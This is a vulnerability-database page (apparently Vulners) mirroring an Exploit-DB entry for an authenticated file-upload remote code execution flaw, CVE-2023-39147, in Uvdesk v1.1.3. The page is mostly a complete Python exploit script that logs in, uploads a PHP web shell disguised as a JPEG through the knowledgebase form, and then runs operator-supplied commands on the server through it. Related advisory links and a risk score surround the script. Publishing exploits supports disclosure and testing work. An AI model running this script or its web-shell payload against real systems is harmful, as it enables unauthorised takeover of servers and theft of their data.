Lucene search
K

Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)

🗓️ 31 Jul 2023 00:00:00Reported by Daniel BarrosType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 280 Views

Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) using python scrip

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Uvdesk v1.1.3 - File Upload Remote Code Execution (Authenticated) Exploit
31 Jul 202300:00
zdt
Circl
CVE-2023-39147
31 Jul 202300:00
circl
CNNVD
Uvdesk 代码问题漏洞
31 Jul 202300:00
cnnvd
CVE
CVE-2023-39147
1 Aug 202300:00
cve
Cvelist
CVE-2023-39147
1 Aug 202300:00
cvelist
EUVD
EUVD-2023-42888
3 Oct 202520:07
euvd
NVD
CVE-2023-39147
1 Aug 202318:15
nvd
OSV
CVE-2023-39147
1 Aug 202318:15
osv
Packet Storm
Uvdesk 1.1.3 Shell Upload
1 Aug 202300:00
packetstorm
Prion
Design/Logic Flaw
1 Aug 202318:15
prion
Rows per page
# Exploit Title: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)
# Date: 28/07/2023
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security 
# Vendor Homepage: https://www.uvdesk.com
# Software Link: https://github.com/uvdesk/community-skeleton
# Version: 1.1.3
# Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami"
# CVE : CVE-2023-39147
# Tested on: Ubuntu 20.04.6


import requests
import argparse

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
    parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
    my_args = parser.parse_args()
    return my_args

def main():
    args = get_args()
    base_url = args.url

    command = args.command
    uploaded_file = "shell.php"
    url_cmd = base_url + "//assets/knowledgebase/shell.php?cmd=" + command

# Edit your credentials here
    login_data = {
        "_username": "[email protected]",
        "_password": "passwd",
        "_remember_me": "off"
    }

    files = {
        "name": (None, "pwn"),
        "description": (None, "xxt"),
        "visibility": (None, "public"),
        "solutionImage": (uploaded_file, "<?php system($_GET['cmd']); ?>", "image/jpg")
    }

    s = requests.session()
    # Login
    s.post(base_url + "/en/member/login", data=login_data)
    # Upload
    upload_response = s.post(base_url + "/en/member/knowledgebase/folders/new", files=files)
    # Execute command
    cmd = s.get(url_cmd)
    print(cmd.text)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2023 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.8
EPSS0.0022
SSVC
280